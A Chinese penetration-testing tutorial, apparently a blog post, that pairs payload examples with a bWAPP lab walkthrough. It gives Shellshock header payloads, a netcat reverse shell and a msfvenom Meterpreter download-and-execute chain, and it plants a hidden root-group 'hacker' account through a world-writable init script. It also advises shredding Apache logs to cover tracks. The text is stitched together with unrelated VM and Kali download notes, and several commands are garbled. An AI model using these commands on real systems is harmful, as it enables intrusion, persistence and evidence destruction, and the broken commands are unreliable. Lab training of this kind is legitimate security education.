Web渗透测试_利用平台的漏洞 前言以下内容针对Web渗透测试中如何识别和利用平台漏洞提供专业指导内容严格遵循技术规范仅用于合法授权测试场景。常见漏洞类型与识别方法SQL注入通过输入框提交恶意SQL语句检测数据库返回异常。典型Payload OR 11 --XSS跨站脚本注入可执行的JavaScript代码观察是否被浏览器解析。例如scriptalert(1)/scriptCSRF跨站请求伪造检查关键操作是否缺少Token验证使用Burp Suite重放请求测试。文件上传漏洞尝试上传Webshell文件如.php、.jsp验证是否绕过格式检测。自动化工具辅助扫描Burp Suite拦截修改HTTP请求自动化扫描常见漏洞。OWASP ZAP开源工具支持主动/被动漏洞扫描。Nmap脚本引擎使用http-vuln-*系列脚本检测已知服务漏洞。手工验证与利用技巧对于SQL注入联合查询获取数据 UNION SELECT username, password FROM users--文件包含漏洞利用http://example.com/index.php?page../../etc/passwd权限提升与后渗透信息收集通过whoami、env查看当前权限寻找配置错误。提权EXP搜索平台特定版本漏洞如Dirty Cow、CVE-2021-4034。防御规避与清理使用代理链如Proxychains隐藏真实IP。测试完成后删除日志文件shred -zu /var/log/apache2/access.log注实际操作需严格遵守法律法规获得书面授权后方可进行。漏洞细节披露应遵循负责任原则。虚拟机软件官网下载以下是主流虚拟机软件的官方网站可直接下载正版安装包VMware官网地址https://www.vmware.com提供Workstation Pro付费和Player免费版支持Windows/Linux宿主系统Oracle VirtualBox官网地址https://www.virtualbox.org完全免费开源跨平台支持Windows/macOS/LinuxParallels DesktopmacOS专用官网地址https://www.parallels.com针对苹果M系列芯片优化提供免费试用版Microsoft Hyper-VWindows系统内置功能需通过启用或关闭Windows功能激活支持Windows 10/11专业版及以上版本下载注意事项建议通过官网下载以避免第三方捆绑软件企业用户需注意许可证类型商业/个人用途下载前确认系统版本要求如64位系统、CPU虚拟化支持等Kali Linux 官方镜像下载访问 Kali Linux 官方网站https://www.kali.org获取最新镜像。官网提供多种下载选项包括完整镜像、网络安装镜像以及虚拟机镜像。镜像下载步骤在官网首页点击“Downloads”按钮进入下载页面。页面会列出所有可用的镜像类型包括适用于不同架构的镜像如 AMD64、ARM 等。选择适合的镜像类型后点击下载链接即可开始下载。建议通过官方提供的 torrent 下载或直接下载确保文件完整性。验证镜像完整性下载完成后建议验证镜像的 SHA256 校验值。官网提供校验文件可通过命令行工具如sha256sum进行比对确保文件未被篡改。其他下载方式除了官网Kali Linux 镜像也可以通过官方认可的镜像站点下载。这些镜像站点通常位于不同地区提供更快的下载速度。目录前言常见漏洞类型与识别方法自动化工具辅助扫描手工验证与利用技巧权限提升与后渗透防御规避与清理虚拟机软件官网下载下载注意事项Kali Linux 官方镜像下载镜像下载步骤验证镜像完整性其他下载方式通过利用Shellshock执行命令利用metasploit创建并反弹shellLinux上的权限提升通过利用Shellshock执行命令1、浏览并登录到bee-box打开浏览器访问http://192.168.146.130/bWAPP/。登录bWAPP以开始练习。2、选择Shellshock漏洞在下拉框中选择“ShellshockCGI)选项然后点击“Hack按钮。页面显示当前用户为www-data这表明页面可能使用了系统调用来获取用户名。3、记录请求并分析使用BurpSuite记录HTTP请求并重新加载页面。查看代理历史记录找到一个调用/cgi-bin/shellshock.sh的iframe这可能是易受Shellshock影响的脚本。4、配置BurpSuite拦截响应转到Burp Suite的“代理选项卡中的“选项”,选中“拦截响应的复选框。设置Burp Suite拦截并重新加载shellshock.php。5、构造并发送恶意请求在Burp Suite 中单击Forward直到看到对/bWAPP/cgi-bin/shellshock.sh的GET 请求。将Referer头替换为O{)echoVulnerable:如下图所示Referer: () { :;}; echo Vulnerable:Referer: () { :;}; echo Vulnerable:6、查看响应再次单击Forward”查看响应。如果响应中包含一个新的标题参数Vulnerable则说明漏洞存在。7、执行更复杂的命令尝试执行更复杂的命令例如获取网络接口配置Referer: () { :;}; echo Vulnerable:$(/bin/sh -c /sbin/ifconfig) 响应将包含命令的结果证明可以在服务器上远程执行命令。8、建立反向Shell在KaliLinux中打开终端监听一个端口。 nc -vlp 12345在Burp Suite中选择对 shellshock.sh 的任何请求右键单击并将其发送到Repeater: () { :;}; echo Vulnerable: $(/bin/sh -c nc -e /bin/bash 192.168.146.128 12345)单击“Go发送请求检查终端以确认连接已建立并验证是否获得了远程Shell。利用metasploit创建并反弹shell1、生成反弹Shell的可执行文件在KaliLinux中打开终端使用msfvenom生成一个反弹Shell的ELF文件。msfvenom -p linux/x86/meterpreter/reverse_tep LHOST192.168.146.128 LPORT4443 -f elf cute_dolphin.bin这将创建一个名为cute_dolphin.bin的文件这是一个Linux反向连接Shell它会使靶机连接到攻击机的监听端口上。2、设置Metasploit侦听器打开Metasploit控制台msfconsole并输入以下命令来设置侦听器use exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.146.128set lport 4443 runpayload、Ihost和Iport都是与之前生成的cute_dolphin.bin文件相对应的参数用于指定程序要连接的IP地址和端口。3、启动Web服务器启动Apache服务以提供恶意文件下载 service apache2start4、将恶意文件移动到Web服务器路径下将生成的恶意文件cute_dolphin.bin复制到Web服务器的根目录 cpcute_dolphin.bin/var/www/html/5、利用远程命令执行漏洞下载并执行恶意文件假设您已经知道靶机存在一个远程命令执行漏洞您可以利用该漏洞下载并执行恶意文件。构造如下命令Repeater: () { :;}; echo Vulnerable: $(/bin/sh -c /usr/bin/wget 192.168.146.128/cute_dolpin.bin -O /tmp/cute_dolpin.bin; chmod x /tmp/cute_dolpin.bin; ls -l /tmp/cute_dolpin.bin)6、执行恶意文件再次利用命令执行漏洞运行恶意文件Repeater: () { :;}; echo Vulnerable: $(/tmp/cute_dolpin.bin)7、接收反弹Shell如果一切正常Metasploit侦听器将会收到一个连接请求并建立一个 Meterpreter会话。8、使用Meterpreter进行后渗透操作成功反弹 Shell后可以输入help查看Meterpreter的功能并执行相应命令进行进一步的渗透测试。Linux上的权限提升1、上传权限提升检查工具KaliLinux包含一个名为unix-privesc-check的工具它可以检查系统是否存在可能允许权限提升的配置漏洞。在Meterpreter会话中使用upload命令将 unix-privesc-check上传到服务器upload/usr/bin/unix-privese-check/tmp/2、运行权限提升检查脚本上传文件后打开系统Shell使用Meterpreter中的shell命令并运行脚本/tmp/unix-privese-check脚本将显示一系列结果重点关注带有WARNING的部分。例如脚本可能会发现一个启动时由root用户运行且具有全局写权限的脚本如/etc/init.d/bwapp_movie_search。3、利用易受攻击的脚本将利用这个脚本来使root用户在启动时执行命令从而创建一个具有管理权限的用户以便通过SSH连接随时访问服务器。首先检查系统中存在的组以了解哪些组具有特权访问权限 cat/ete/group|sort -u假设发现了一些有趣的组名如adm、admin和root。4、修改启动脚本由于没有完整的Shell环境无法直接编辑文本文件因此使用echo 命令逐行附加命令到目标文件中echouseradd -m -G adm,admin,root hacker /etc/init.d/bwapp_movie_searchechoecho hacker:password| chpasswd /etc/init.d/bwapp_movie _search5、验证命令是否已正确添加 tail /etc/init.d/bwapp_movie_search6、重启服务器由于这是测试环境可以直接重启服务器。在实际环境中攻击者可能会尝试通过各种手段迫使服务器重启或者通过DoS攻击强制管理员重启。重启服务器后在KaliLinux中使用SSH登录输入在步骤4中设置的密码。如果询问是否接受主机证书请键入yes 并按回车键。7、验证权限如果一切正常您将能够登录并且该用户应具有对所有命令的root访问权限因为它们属于admin组可以使用sudo-l查看并且可以模拟root用户使用sudo su。